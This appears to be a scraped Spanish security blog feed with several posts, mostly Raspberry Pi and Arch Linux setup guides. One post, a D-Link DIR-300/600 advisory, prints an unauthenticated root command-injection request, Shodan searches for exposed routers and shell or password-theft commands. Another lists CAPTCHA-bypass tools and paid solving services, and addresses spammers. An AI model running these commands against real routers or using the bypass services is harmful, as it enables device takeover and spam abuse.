Cliente: Fernando, esto ya es demasiado, el equipo está bien o no??!! Si sabes configúralo o vienes aquí a probar nada más eh??!!! 

Fer: (Eso si me ardió en el hígado horriblemente) El día de hoy lo revisamos junto con el área de ingeniería. Así veremos el detalle más rápido, de ser necesario te traemos otro…



Creen que debí haber comprado uno de esos?...

Si algo he aprendido de las desgracias en Seguridad Perimetral es que cuando uno teme que van a pasar, es porque en sí, ya empezaron y no van a detenerse. Y la verdad es que todo siempre puede estar peor.

Murphy te odio.

Si te amputan un brazo te queda el otro. Si faltan los dos brazos, te quedan las piernas. También tenemos los ojos, las orejas, los dientes, la lengua, los vellitos, hasta el cabello y todavía entonces Murphy, todo puede estar peor. Sólo los muertos tocan fondo. Salí de ahí con el alma, y nuevamente el orgullo hecho pedazos; ahora sí, mi problema tenía una jeta enorme de que estaba bien podrido, y de que mínimo a mi almohada debía decírselo para hacer teamback, sin andarme con rodeos de indirectas. Eso o irme de rodillas a Chalma, para ver si todavía me hacían un milagrito.

"Van a ser unos días y unas noches muy largas, creo que vamos a vivir en Tattoine un largo rato…”

To be continued (ya casi, ya casi se los juro)…


De cómo conocí Raspberry Pi y sus innumerables bondades

$
0
0
El otro día, cuando ya ni me acordaba de la última vez que se incrementó mi casillero de años (i++), un buen amigo me hizo un regalo por mi cumpleaños. Como siempre y antes de retirar el envoltorio, intenté adivinar de qué se trataba. Por el tamaño parecía una cajetilla de tabaco, algo que descarté de inmediato porque era algo más alargada y porque hubiese sido cruel y un disparo certero a la voluntad de alguien que está en periodo de abandono de la nicotina.

Sin más retiré el envoltorio y descubrí una pequeña caja rosa, con el logo de una frambuesa y el nombre 'Raspberry Pi'. Supongo que al abrirlo mi amigo buscaba en mí una reacción distinta a la cara de póker que seguro vio en aquel momento. En seguida comprendió. "Tío, ¡es una Raspberry Pi! ¿¡no sabes lo que es!?". Negué con la cabeza, (pues en estos casos conviene ser sincero): "Ni idea macho".

Contemplen mis vergüenzas. Centrado tanto en la seguridad yo sabía que ni de lejos era el súmmum del conocimiento en hardware/gadgets o dijese del seguimiento de la más pura vanguardia tecnológica, pero parece que no saber que era pequeña placa era la mayor ofensa geek del universo conocido, y cuando mi amigo me explicó brevemente que es 'Raspberry Pi' creanme que así lo fue. En seguida comprenderán por qué...

'Raspberry Pi' es un miniordenador de bajo coste menos de 40€ + IVA!) que fue inicialmente ideado para distribuirse en las escuelas y facilitar la enseñanza de la verdadera informática: comprender cómo funciona y programar. 

Tiene el tamaño de una tarjeta de crédito y en su versión B básicamente incluye un procesador ARM a 700 MHz (al que podemos hacerle overclocking hasta 1 GHz sin perder la garantía), GPU capaz de mover video en Full HD y 3D, y 512 MB de RAM. 

A parte de su reducido precio y tamaño, también añade la ventaja de un consumo eléctrico mínimo (700 mA) pudiendo tener encendido el dispositivo de forma ininterrumpida todo el año por un coste aproximado inferior a 5€, o aprovechar que tenemos encendido algún otro equipo para alimentarlo mediante su puerto USB.

Si sumamos a estas características (bajo coste, reducido tamaño y mínimo consumo eléctrico) un rendimiento de hardware más que aceptable, la posibilidad de conectar otros periféricos y dispositivos (incluso Arduino) y una amplia gama de sistemas operativos y software disponible, tenemos que las aplicaciones que se le pueden dar a Raspberry Pi son casi infinitas: control domótico, robótica, mediacenter capaz de reproducir vídeo en alta definición, radio, servidor de ficheros, videojuegos retro, ... echa un vistazo a las fotos de algunos proyectos y en seguida comprobarás su versatilidad.

Precisamente ahí está el gran éxito de Raspberry Pi: su masiva distribución en colegios (Google donó 15.000 equipos en Reino Unido) pero sobretodo su calado en el gran público por sus prestaciones ajustadas a un precio inmejorable, que ya se ha traducido en cientos de miles de ventas desde su puesta en mercado hace menos de un año. El resultado, una numerosa y entusiasta comunidad que hace auténticas virguerías con este dispositivo. 


Y he aquí yo (O-o), habiendo ignorado hasta ahora Raspberry Pi, buscando redención y pensando en las numerosas posibilidades...

De momento, empezaré con lo básico, con reunir todo lo necesario para empezar a trabajar divertirme con ello. Mi pack incluye una tarjeta SD de 32GB modelo Kingston clase 10 (antes de comprarla me aseguré que otros habían certificado ya su funcionamiento), un viejo lector de tarjetas SD-USB para mi portátil, el cargador micro USB de mi Samsung Galaxy S y una cajita oficial del fabricante:

 

En la próxima entrada sobre Raspberry Pi os contaré mis primeros pasitos con la elección e instalación del sistema operativo...

Graves vulnerabilidades en routers D-Link DIR-300 y DIR-600

$
0
0
El experto de seguridad Michael Messner ha identificado varias vulnerabilidades en los routers D-Link DIR-300 y DIR-600 que pueden permitir a un atacante ejecutar comandos arbitrariamente con suma facilidad.

En concreto, Messner describe en su blog como un simple parámetro en una petición POST permite la ejecución de comandos linux con permisos de root en los routers vulnerables, sin pedir ningún tipo de autenticación:

curl --data "cmd=ls" http:///command.php

Haciendo unas búsquedas simples en Shodan nos daremos cuenta del gran número de estos routers que son públicos en Internet:

http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-300
http://www.shodanhq.com/search?q=Server%3A+Linux%2C+HTTP%2F1.1%2C+DIR-600


E incluso si no fueran públicos se podría explotar algún CSRF mandando a un usuario por correo un enlace malicioso... sólo hay que ejecutar '%s' o 'telnetd' para obtener un shell o 'cat var/passwd' para obtener la contraseña del administrador ¡en texto plano!.

Lo peor es que Messner comenta que notificó a D-Link la vulnerabilidad a mediados del año pasado y el fabricante parece no tener la intención de publicar una actualización del firmware para solucionarlo.

Más información en:
Security alert for D-Link routers
Researcher Warns of D-Link Router Vulnerabilities
Multiple Vulnerabilities in D'Link DIR-600 and DIR-300 (rev B)
dlinkroot.py

Instalando Arch Linux ARM en Raspberry Pi

$
0
0
Ahora que conozco qué es Raspberry Pi he estado pensando muy bien para que utilizarlo.Empecé leyendo una entrada de Xataka en la que definen muy bien diez ideas para utilizar Raspberry Pi en casa y estuve haciéndome unas pequeñas reflexiones... 

Primero ya tengo un media center, por lo que instalar OpenELEC, Raspbmc o XBian queda descartado. También tengo en mi portatil y en el del trabajo máquinas virtuales con Backtrack, así que instalar otra distribución de seguridad como Pwn Pi, Pwnpi.net o Ha(ck with Raspberry)Pi sería cuanto menos redundante (y algo enfermizo, sí).

Por otro lado siempre me ha llamado mucho la atención la domótica, y concretamente el funcionamiento de RPi con Arduino o el proyecto libre OpenDomo, si bien considero que para empezar en mi caso es demasiado pretencioso (comprar más componentes, acometer instalaciones en casa, mi chica me mata, etc.).

También he pensado en instalar varias distribuciones en la tarjeta SD con Berryboot, pero ¿por qué no empezar mejor con una multipropósito e ir instalando y personalizando lo que vaya necesitando?. Eso me lleva fundamentalmente a descartar Raspbian a favor de Arch Linux ARM, un sistema en base más simple que permite un mayor control al usuario para moldearlo según sus necesidades. Pinta bien, así que si os animáis a instalar conmigo este sistema operativo...

Obtención y escritura de la imagen del sistema operativo

Para ello simplemente descargamos la imagen de la página de la fundación. Una vez chequeada su integridad y desde Windows 7 la escribimos en la tarjeta SD con Win32 Disk Imager:
 

Acceso SSH y cambio de contraseña del root

Luego insertamos la tarjeta SD en nuestra RPi y, en mi caso como no dispongo de pantalla ni teclado :'(, comenzamos accediendo a ella a través de SSH. Por defecto obtendrá una dirección IP dinámica por DHCP así que puedes detectar su asignación por lógica predicción, escaneando tu red o viendo las concesiones del servicio DHCP del router. 

Una vez dentro, lo primero que haremos será cambiar la contraseña del root, por una con tropecientos caracteres alfanuméricos y símbolos:
login as: root
root@192.168.1.35's password:

[root@alarmpi ~]# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
 
Particionado del sistema

A continuación veremos las particiones que vienen configuradas con la imagen:
[root@alarmpi /]# df -h
Filesystem      Size  Used Avail Use% Mounted on
rootfs          1.7G  527M  1.1G  34% /
/dev/root       1.7G  527M  1.1G  34% /
devtmpfs         84M     0   84M   0% /dev
tmpfs           232M     0  232M   0% /dev/shm
tmpfs           232M  240K  232M   1% /run
tmpfs           232M     0  232M   0% /sys/fs/cgroup
tmpfs           232M     0  232M   0% /tmp
/dev/mmcblk0p1   90M   20M   71M  23% /boot
Como veis, al iniciar tenemos dos particiones en /dev/mmcblk0p1 y /dev/mmcblk0p2. La primera (100 MB) está montada en /boot y la segunda (1.7 GB por defecto) está en el directorio raíz /. Si vuestra tarjeta tiene un tamaño mayor a 2 GB, tendréis que redimensionar las particiones para aprovecharla.

Si estuviéramos ante una instalación "seria" con un servidor y servicios muy bien definidos os recomendaría además añadir otras particiones para /var, /home y swap. Pero en nuestro caso como somos unos cachondos y vamos a empezar a probar y probar para ver las posibilidades de RPi sólo incrementaremos la partición raíz para aprovechar el máximo disponible de la tarjeta. Si más adelante nos quedáramos cortos de memoria (512 MB) seguro que a esas alturas ya pensamos en reinstalar el sistema o en añadir un fichero swap...
 
[root@alarmpi /]# fdisk /dev/mmcblk0
Welcome to fdisk (util-linux 2.22.2).

Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Command (m for help): d
Partition number (1-4): 2
Partition 2 is deleted

Command (m for help): n
Partition type:
   p   primary (1 primary, 0 extended, 3 free)
   e   extended
Select (default p): p
Partition number (1-4, default 2): 2
First sector (186368-63028223, default 186368):
Using default value 186368
Last sector, +sectors or +size{K,M,G} (186368-63028223, default 63028223):
Using default value 63028223
Partition 2 of type Linux and of size 30 GiB is set

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.
Ahora reiniciamos el sistema y ejecutamos resize2fs:
[root@alarmpi ~]# resize2fs /dev/mmcblk0p2
resize2fs 1.42.6 (21-Sep-2012)
Filesystem at /dev/mmcblk0p2 is mounted on /; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 2

The filesystem on /dev/mmcblk0p2 is now 7855232 blocks long.

[root@alarmpi ~]#
[root@alarmpi ~]# df -h
Filesystem      Size  Used Avail Use% Mounted on
rootfs           30G  524M   28G   2% /
/dev/root        30G  524M   28G   2% /
devtmpfs         83M     0   83M   0% /dev
tmpfs           232M     0  232M   0% /dev/shm
tmpfs           232M  244K  231M   1% /run
tmpfs           232M     0  232M   0% /sys/fs/cgroup
tmpfs           232M     0  232M   0% /tmp
/dev/mmcblk0p1   90M   20M   71M  23% /boot
[root@alarmpi ~]#
 
Configuración post-instalación

La puntualidad es una virtud de la que carezco, pero eso no significa que mi servidor no esté en hora...El siguiente paso será cambiar la zona horaria del servidor. Primero comprobamos la existencia de nuestra zona:
[root@alarmpi ~]# ls /usr/share/zoneinfo/Europe/
Amsterdam Berlin Chisinau Helsinki Kiev Madrid Moscow Prague Sarajevo Tallinn Vatican Zagreb
Andorra Bratislava Copenhagen Isle_of_Man Lisbon Malta Nicosia Riga Simferopol Tirane Vienna Zaporozhye
Athens Brussels Dublin Istanbul Ljubljana Mariehamn Oslo Rome Skopje Tiraspol Vilnius Zurich
Belfast Bucharest Gibraltar Jersey London Minsk Paris Samara Sofia Uzhgorod Volgograd
Belgrade Budapest Guernsey Kaliningrad Luxembourg Monaco Podgorica San_Marino Stockholm Vaduz Warsaw
Y luego editamos el fichero timezone
[root@alarmpi ~]# vi /etc/timezone
Europe/Madrid
Después modificamos el nombre de host de nuestra RPi: 
[root@alarmpi ~]# vi /etc/hostname
pirobot1

[root@alarmpi ~]# vi /etc/hosts
#
# /etc/hosts: static lookup table for host names
#

#
127.0.0.1 localhost.localdomain localhost pirobot1
::1 localhost.localdomain localhost pirobot1

# End of file
Ahora procederemos a actualizar el sistema

Para ello, primero necesitaremos generar una clave para Pacman, el famoso videojuego pero tambiénel gestor de paquetes de Arch Linux.Después de ejecutar el comandode creación, tendremos generar algo de entropía o si no estaremos horas delante del monitor como pasmarotes. Para ello pulsaremos teclas aleatoriamente o ejecutaremos por ejemplo 'ls -R /' o 'find / -name dinero_B_Bárcenas' o 'dd if=/dev/sda8 of=/dev/tty7' en otra sesión: 
[root@pirobot1 /]# pacman-key --init
gpg: /etc/pacman.d/gnupg/trustdb.gpg: trustdb created
gpg: no ultimately trusted keys found
gpg: Generating pacman keychain master key...
gpg: key C503FACC marked as ultimately trusted
gpg: Done
==> Updating trust database...
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
[root@pirobot1 /]#
Después instalaremos mlocate para optimizar la ejecución posterior de updatedb, para acabar lanzando una actualización completa del sistema (full system upgrade):
[root@pirobot1 /]# pacman -S mlocate
resolving dependencies...
looking for inter-conflicts...

Targets (1): mlocate-0.26-1

Total Download Size: 0.07 MiB
Total Installed Size: 0.73 MiB

Proceed with installation? [Y/n]
:: Retrieving packages from core...
mlocate-0.26-1-armv6h 72.0 KiB 272K/s 00:00 [############################################################] 100%
(1/1) checking package integrity [############################################################] 100%
(1/1) loading package files [############################################################] 100%
(1/1) checking for file conflicts [############################################################] 100%
(1/1) checking available disk space [############################################################] 100%
(1/1) installing mlocate [############################################################] 100%
[root@alarmpi /]# updatedb
[root@alarmpi /]#

[root@alarmpi /]# pacman -S pacman
warning: pacman-4.0.3-5 is up to date -- reinstalling
resolving dependencies...
looking for inter-conflicts...

Targets (1): pacman-4.0.3-5

Total Download Size: 1.00 MiB
Total Installed Size: 3.36 MiB
Net Upgrade Size: 0.00 MiB

Proceed with installation? [Y/n]
:: Retrieving packages from core...
pacman-4.0.3-5-armv6h 1020.8 KiB 566K/s 00:02 [############################################################] 100%
(1/1) checking package integrity [############################################################] 100%
(1/1) loading package files [############################################################] 100%
(1/1) checking for file conflicts [############################################################] 100%
(1/1) checking available disk space [############################################################] 100%
(1/1) upgrading pacman [############################################################] 100%
[root@alarmpi /]#

[root@alarmpi /]# pacman -Syyuf
:: Synchronizing package databases...
core 38.5 KiB 215K/s 00:00 [############################################################] 100%
extra 442.6 KiB 741K/s 00:01 [############################################################] 100%
community 460.0 KiB 583K/s 00:01 [############################################################] 100%
alarm 6.0 KiB 1496K/s 00:00 [############################################################] 100%
aur 14.9 KiB 1173K/s 00:00 [############################################################] 100%
:: Starting full system upgrade...
resolving dependencies...
looking for inter-conflicts...

Targets (33): acl-2.2.51-3 bash-4.2.042-3 ca-certificates-20130119-1 cracklib-2.8.22-1 curl-7.29.0-1 dash-0.5.7-3 dhcpcd-5.6.4-2 file-5.11-2 findutils-4.4.2-5
gnupg-2.0.19-5 gpgme-1.3.1-5 grep-2.14-2 gzip-1.5-3 kbd-1.15.5-3 krb5-1.11-3 libksba-1.2.0-3 licenses-20130203-1 linux-api-headers-3.7.4-1
linux-headers-raspberrypi-3.6.11-5 linux-raspberrypi-3.6.11-5 man-pages-3.46-1 mkinitcpio-0.13.0-1 ncurses-5.9-4 ntfs-3g-2013.1.13-1
openssh-6.1p1-5 openssl-1.0.1.d-1 perl-5.16.2-3 reiserfsprogs-3.6.22-1 sed-4.2.2-2 shadow-4.1.5.1-4 texinfo-4.13a-8 which-2.20-6
wpa_supplicant-2.0-1

Total Download Size: 47.61 MiB
Total Installed Size: 195.12 MiB
Net Upgrade Size: 0.38 MiB

Proceed with installation? [Y/n]
:: Retrieving packages from core...
acl-2.2.51-3-armv6h 126.5 KiB 365K/s 00:00 [############################################################] 100%
bash-4.2.042-3-armv6h 732.3 KiB 474K/s 00:02 [############################################################] 100%
perl-5.16.2-3-armv6h 11.8 MiB 982K/s 00:12 [############################################################] 100%
openssl-1.0.1.d-1-armv6h 2.3 MiB 1041K/s 00:02 [############################################################] 100%
findutils-4.4.2-5-armv6h 319.0 KiB 959K/s 00:00 [############################################################] 100%
sed-4.2.2-2-armv6h 113.7 KiB 1053K/s 00:00 [############################################################] 100%
ca-certificates-20130119-1-any 133.8 KiB 1054K/s 00:00 [############################################################] 100%
cracklib-2.8.22-1-armv6h 236.2 KiB 1047K/s 00:00 [############################################################] 100%
curl-7.29.0-1-armv6h 501.8 KiB 1045K/s 00:00 [############################################################] 100%
dash-0.5.7-3-armv6h 59.5 KiB 1073K/s 00:00 [############################################################] 100%
dhcpcd-5.6.4-2-armv6h 68.0 KiB 1060K/s 00:00 [############################################################] 100%
file-5.11-2-armv6h 197.1 KiB 1049K/s 00:00 [############################################################] 100%
libksba-1.2.0-3-armv6h 95.2 KiB 1056K/s 00:00 [############################################################] 100%
gnupg-2.0.19-5-armv6h 1285.6 KiB 1042K/s 00:01 [############################################################] 100%
gpgme-1.3.1-5-armv6h 182.5 KiB 1050K/s 00:00 [############################################################] 100%
grep-2.14-2-armv6h 174.5 KiB 1050K/s 00:00 [############################################################] 100%
gzip-1.5-3-armv6h 68.8 KiB 1060K/s 00:00 [############################################################] 100%
kbd-1.15.5-3-armv6h 1013.5 KiB 806K/s 00:01 [############################################################] 100%
krb5-1.11-3-armv6h 952.1 KiB 1040K/s 00:01 [############################################################] 100%
licenses-20130203-1-any 59.3 KiB 1066K/s 00:00 [############################################################] 100%
linux-api-headers-3.7.4-1-armv6h 591.7 KiB 1000K/s 00:01 [############################################################] 100%
linux-headers-raspberrypi-3.6.11-5-armv6h 4.6 MiB 1038K/s 00:05 [############################################################] 100%
linux-raspberrypi-3.6.11-5-armv6h 13.9 MiB 1004K/s 00:14 [############################################################] 100%
man-pages-3.46-1-any 4.4 MiB 924K/s 00:05 [############################################################] 100%
mkinitcpio-0.13.0-1-any 29.4 KiB 1086K/s 00:00 [############################################################] 100%
ncurses-5.9-4-armv6h 882.4 KiB 1043K/s 00:01 [############################################################] 100%
openssh-6.1p1-5-armv6h 454.9 KiB 1045K/s 00:00 [############################################################] 100%
reiserfsprogs-3.6.22-1-armv6h 191.6 KiB 1051K/s 00:00 [############################################################] 100%
shadow-4.1.5.1-4-armv6h 1000.0 KiB 1043K/s 00:01 [############################################################] 100%
texinfo-4.13a-8-armv6h 632.5 KiB 1043K/s 00:01 [############################################################] 100%
which-2.20-6-armv6h 12.0 KiB 1188K/s 00:00 [############################################################] 100%
wpa_supplicant-2.0-1-armv6h 385.2 KiB 1044K/s 00:00 [############################################################] 100%
:: Retrieving packages from extra...
ntfs-3g-2013.1.13-1-armv6h 250.5 KiB 1048K/s 00:00 [############################################################] 100%
(33/33) checking package integrity [############################################################] 100%
(33/33) loading package files [############################################################] 100%
(33/33) checking available disk space [############################################################] 100%
( 1/33) upgrading acl [############################################################] 100%
( 2/33) upgrading bash [############################################################] 100%
( 3/33) upgrading perl [############################################################] 100%
( 4/33) upgrading openssl [############################################################] 100%
( 5/33) upgrading findutils [############################################################] 100%
( 6/33) upgrading sed [############################################################] 100%
( 7/33) upgrading ca-certificates [############################################################] 100%
( 8/33) upgrading cracklib [############################################################] 100%
( 9/33) upgrading curl [############################################################] 100%
(10/33) upgrading dash [############################################################] 100%
(11/33) upgrading dhcpcd [############################################################] 100%
(12/33) upgrading file [############################################################] 100%
(13/33) upgrading libksba [############################################################] 100%
(14/33) upgrading gnupg [############################################################] 100%
(15/33) upgrading gpgme [############################################################] 100%
(16/33) upgrading grep [############################################################] 100%
(17/33) upgrading gzip [############################################################] 100%
(18/33) upgrading kbd [############################################################] 100%
(19/33) upgrading krb5 [############################################################] 100%
(20/33) upgrading licenses [############################################################] 100%
(21/33) upgrading linux-api-headers [############################################################] 100%
(22/33) upgrading linux-headers-raspberrypi [############################################################] 100%
(23/33) upgrading linux-raspberrypi [############################################################] 100%
>>> Updating module dependencies. Please wait ...
(24/33) upgrading man-pages [############################################################] 100%
(25/33) upgrading mkinitcpio [############################################################] 100%
(26/33) upgrading ncurses [############################################################] 100%
(27/33) upgrading ntfs-3g [############################################################] 100%
(28/33) upgrading openssh [############################################################] 100%
(29/33) upgrading reiserfsprogs [############################################################] 100%
(30/33) upgrading shadow [############################################################] 100%
(31/33) upgrading texinfo [############################################################] 100%
(32/33) upgrading which [############################################################] 100%
(33/33) upgrading wpa_supplicant [############################################################] 100%
[root@alarmpi /]#

Creación de un usuario secundario

A estas alturas no vamos a explicar lo "inconveniente" que es trabajar directamente con root en Unix/Linux, por lo que finalmente necesitamos instalar sudo y añadir otro usuario:
[root@pirobot1 ~]# pacman -S sudo
resolving dependencies...
looking for inter-conflicts...

Targets (1): sudo-1.8.6.p6-1

Total Download Size: 0.55 MiB
Total Installed Size: 2.58 MiB

Proceed with installation? [Y/n]
:: Retrieving packages from core...
sudo-1.8.6.p6-1-armv6h 561.6 KiB 681K/s 00:01 [############################################################] 100%
(1/1) checking package integrity [############################################################] 100%
(1/1) loading package files [############################################################] 100%
(1/1) checking for file conflicts [############################################################] 100%
(1/1) checking available disk space [############################################################] 100%
(1/1) installing sudo [############################################################] 100%

[root@pirobot1 ~]# visudo
## Uncomment to allow members of group wheel to execute any command
%wheel ALL=(ALL) ALL


[root@pirobot1 ~]# pacman -S adduser
resolving dependencies...
looking for inter-conflicts...

Targets (1): adduser-1.15-4

Total Download Size: 0.01 MiB
Total Installed Size: 0.04 MiB

Proceed with installation? [Y/n]
:: Retrieving packages from aur...
adduser-1.15-4-any 6.3 KiB 67.1K/s 00:00 [############################################################] 100%
(1/1) checking package integrity [############################################################] 100%
(1/1) loading package files [############################################################] 100%
(1/1) checking for file conflicts [############################################################] 100%
(1/1) checking available disk space [############################################################] 100%
(1/1) installing adduser [############################################################] 100%


audio lp optical storage video wheel games power scanner

[root@pirobot1 ~]# adduser

Login name for new user []: usuario1

User ID ('UID') [ defaults to next available ]:

Initial group [ users ]:
Additional UNIX groups:

Users can belong to additional UNIX groups on the system.
For local users using graphical desktop login managers such
as XDM/KDM, users may need to be members of additional groups
to access the full functionality of removable media devices.

* Security implications *
Please be aware that by adding users to additional groups may
potentially give access to the removable media of other users.

If you are creating a new user for remote shell access only,
users do not need to belong to any additional groups as standard,
so you may press ENTER at the next prompt.

Press ENTER to continue without adding any additional groups
Or press the UP arrow key to add/select/edit additional groups
: audio lp optical storage video wheel games power scanner

Home directory [ /home/usuario1 ]

Shell [ /bin/bash ]

Expiry date (YYYY-MM-DD) []:

New account will be created as follows:

---------------------------------------
Login name.......: usuario1
UID..............: [ Next available ]
Initial group....: users
Additional groups: audio,lp,optical,storage,video,wheel,games,power,scanner
Home directory...: /home/usuario1
Shell............: /bin/bash
Expiry date......: [ Never ]

This is it... if you want to bail out, hit Control-C. Otherwise, press
ENTER to go ahead and make the account.


Creating new account...


Changing finger information for usuario1.
Name []: usuario1
Office []: home
Office Phone []:
Home Phone []:

Finger information changed.
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully


Account setup complete.
Y esto es todo por ahora. En la siguiente entrada sobre Raspberry Pi veremos como fortificar un poco el sistema antes de publicar algún servicio en Internet...

Lista de recursos para evadir CAPTCHAs

$
0
0
Quizás seas un malévolo spammer y quieras evitar esos molestos CAPTCHAs para que tu bot pueda automatizar cierto proceso, o quizás sólo por placer... 
A continuación os dejo una lista de recursos cortesía de Karl Groves con distintas técnicas y software para evadir CAPTCHAs. Aviso que algunos de los métodos descritos ya no funcionan, pero tenéis delante un excelente recopilatorio (en inglés) que demuestra la continua batalla contra la Prueba de Turing pública y automática para diferenciar máquinas y humanos (sí, lo he dicho):
  1. Breaking a Visual CAPTCHA
  2. Breaking CAPTCHA without OCR
  3. Breaking the Paypal.com CAPTCHA
  4. Breaking e-banking CAPTCHAS
  5. Breaking the ASP Security Image Generator
  6. PWNtcha – CAPTCHA Decoder
  7. aiCaptcha – Using AI to beat CAPTCHA and post comment spam
  8. Arstechnica – Gone in 60 seconds: Spambot cracks Live Hotmail CAPTCHA
  9. Slashdot – Yahoo CAPTCHA Hacked
  10. Slashdot Gmail CAPTCHA Cracked
  11. Slashdot – Google’s Audio CAPTCHA Falls to Automated Attack
  12. Computerworld – How CAPTCHA got trashed
  13. How Spam is Improving AI discusses that even photo-based CAPTCHA is being cracked
  14. Spammers’ bot cracks Microsoft’s CAPTCHA: (possibly reporting duplicate info from #8)
  15. NY Times: Spammers Pay Others to Answer Security Tests
  16. BeatCAPTCHAS.com– a service which solves CAPTCHAs for you at a rate of $8.00 per 1000 CAPTCHAs solved
  17. CAPTCHA Cracker site which sells a program to beat CAPTCHAs
  18. CAPTCHA Sniper program to solve CAPTCHAs
  19. Decaptcha beats CAPTCHAs
  20. Death By CAPTCHA (bypass service, has API for use. $1.39 for 1000 solved CAPTCHAs
  21. Stanford researchers crack CAPTCHA codes
  22. Decaptcha: Breaking 75% of eBay audio CAPTCHAs
  23. Breaking Weak CAPTCHA in 26 Lines of Code
  24. Machine Learning Attacks Against the Asirra CAPTCHA
  25. PC Mag: Deep-Sixing CAPTCHA
  26. Breaking CAPTCHA with automated humans
  27. Breaking Audio CAPTCHAs [PDF]
  28. Computerworld.com: Repetition Breaks Google Audio CAPTCHA

Instalar metasploit en iOS 6.1: iPad para profesionales de la seguridad informática

$
0
0
¿Te apasiona la seguridad informática, tienes tu IPad actualizado con IOS 6.1 y ya has hecho Jailbreak con Evasi0n? Pues seguro que te interesa esto... en el siguiente vídeotutorial Japtronnos enseña como instalar Metasploit en unos sencillos pasos: 


Y para facilitarte la tarea, también puedes encontrar los comandos por escrito gracias a m4ku4z: 

COMANDO A USAR :
# Instalamos herramientas basicas
apt-get update
apt-get dist-upgrade
apt-get installwget subversion

# Descargamos las versiones correctas de las gemas de ruby y sus dependencias
wget http://ininjas.com/repo/debs/ruby_1.9.2-p180-1-1_iphoneos-arm.deb
wget http://ininjas.com/repo/debs/iconv_1.14-1_iphoneos-arm.deb
wget http://ininjas.com/repo/debs/zlib_1.2.3-1_iphoneos-arm.deb

# Instalamos los .deb
dpkg-i iconv_1.14-1_iphoneos-arm.deb
dpkg-i zlib_1.2.3-1_iphoneos-arm.deb
dpkg-i ruby_1.9.2-p180-1-1_iphoneos-arm.deb

# Borramos todos los .deb
rm-rf*.deb

# Ingresamos a esta ruta /private/var y hacemos el checkout del proyecto de mestaploit.
(tener paciencia ya que es mucha informacion la que se va descargar)
cd/private/var
svn co https://www.metasploit.com/svn/framework3/trunk/ msf3
# Abrimos la carpeta msf3/
cd msf3/

# y finalmente ejecutamos la consola de metasploit
ruby msfconsole

Ten siempre en hora tu Raspberry Pi con NTP

$
0
0
Si recordáis, hace poco instalé Arch Linux ARM en mi Raspberry Pi y una de las primeras tareas fue cambiar la zona horaria. Sin embargo, al reiniciar el dispositivo, la fecha del sistema siempre arranca en epoch, es decir, el 1 de enero de 1970 (más información en una de nuestras pasadas y apocalípticas entradas). La razón está clara, ¿a qué no has visto ninguna pila en la placa?. Efectivamente, Raspberry Pi no dispone de reloj RTC...

Ahora tenemos tres opciones: 1/ añadir y configurar nuestro propio reloj de sistemas por hardware-reloj, 2/ hacer una "ñapa" por software tipo fake-hwclock (salvar la hora en un fichero y cargarla al inicio) o 3/ ser más precisos e instalar NTP para sincronizar la hora, que es la solución más barata y eficiente si nuestra RPi tiene conexión a red en el arranque. Así que ¡vamos con ello!
   
Entre ntpd o openntpd (ntpdate está ya discontinuado) me quedo con el primero. Así que empezamos a instalarlo:
[usuario1@pirobot1 rc.d]$ sudo pacman -Sy ntp
[sudo] password for usuario1:
:: Synchronizing package databases...
 core                                                                  38.6 KiB  86.2K/s 00:00 [#######################################################] 100%
 extra                                                                443.9 KiB   227K/s 00:02 [#######################################################] 100%
 community                                                            460.5 KiB   280K/s 00:02 [#######################################################] 100%
 alarm                                                                  6.0 KiB  1057K/s 00:00 [#######################################################] 100%
 aur is up to date                                                      0.0   B  0.00B/s 00:00 [-------------------------------------------------------]   0%
resolving dependencies...
looking for inter-conflicts...

Targets (1): ntp-4.2.6.p5-13

Total Download Size:    0.38 MiB
Total Installed Size:   1.46 MiB

Proceed with installation? [Y/n]
:: Retrieving packages from extra...
 ntp-4.2.6.p5-13-armv6h                                               388.3 KiB   182K/s 00:02 [#######################################################] 100%
(1/1) checking package integrity                                                               [#######################################################] 100%
(1/1) loading package files                                                                    [#######################################################] 100%
(1/1) checking for file conflicts                                                              [#######################################################] 100%
(1/1) checking available disk space                                                            [#######################################################] 100%
(1/1) installing ntp                                                                           [#######################################################] 100%
Optional dependencies for ntp
    libedit: ntpdc, ntpq
A continuación volveremos a seleccionar nuestra zona horaria mediante el comando timedatectl, que lo único que hará es enlazarla (symlink) con /etc/localtime.
[usuario1@pirobot1 rc.d]$ sudo timedatectl set-timezone Europe/Madrid
Comprobamos...
[usuario1@pirobot1 rc.d]$ sudo timedatectl status
      Local time: Tue 2013-02-12 14:07:56 CET
  Universal time: Tue 2013-02-12 13:07:56 UTC
        Timezone: Europe/Madrid (CET, +0100)
     NTP enabled: yes
NTP synchronized: no
 RTC in local TZ: no
      DST active: no
 Last DST change: DST ended at
                  Sun 2012-10-28 02:59:59 CEST
                  Sun 2012-10-28 02:00:00 CET
 Next DST change: DST begins (the clock jumps one hour forward) at
                  Sun 2013-03-31 01:59:59 CET
                  Sun 2013-03-31 03:00:00 CEST
Ahora tenemos que modificar el fichero de configuración. Para ello empezamos indicando como servidores NTP una lista de alias que hacen referencia a servidores nacionales. Además de estos servidores, podemos añadir alguno más, que podemos conseguir en la página de servidores NTP públicos (http://www.pool.ntp.org/). 

Se recomienda usar la opción iburst eya que envía una serie («burst») de paquetes solo si no se puede obtener una conexión con el primer intento:     
vi /etc/ntp.conf
[root@pirobot1 ~]# vi /etc/ntp.conf
# With the default settings below, ntpd will only synchronize your clock.
#
# For details, see:
# - the ntp.conf man page
# - http://support.ntp.org/bin/view/Support/GettingStarted
# - https://wiki.archlinux.org/index.php/Network_Time_Protocol_daemon

# Associate to public NTP pool servers; see http://www.pool.ntp.org/
 server 3.es.pool.ntp.org iburst
 server 0.europe.pool.ntp.org iburst
 server 2.europe.pool.ntp.org iburst
Ahora como solo queremos sincronizar nuestro reloj del sistema sin atender peticiones externas de otros equipos, aplicamos lo siguiente con el objetivo de denegar dichas peticiones:
# Only allow read-only access from localhost
restrict default noquery nopeer
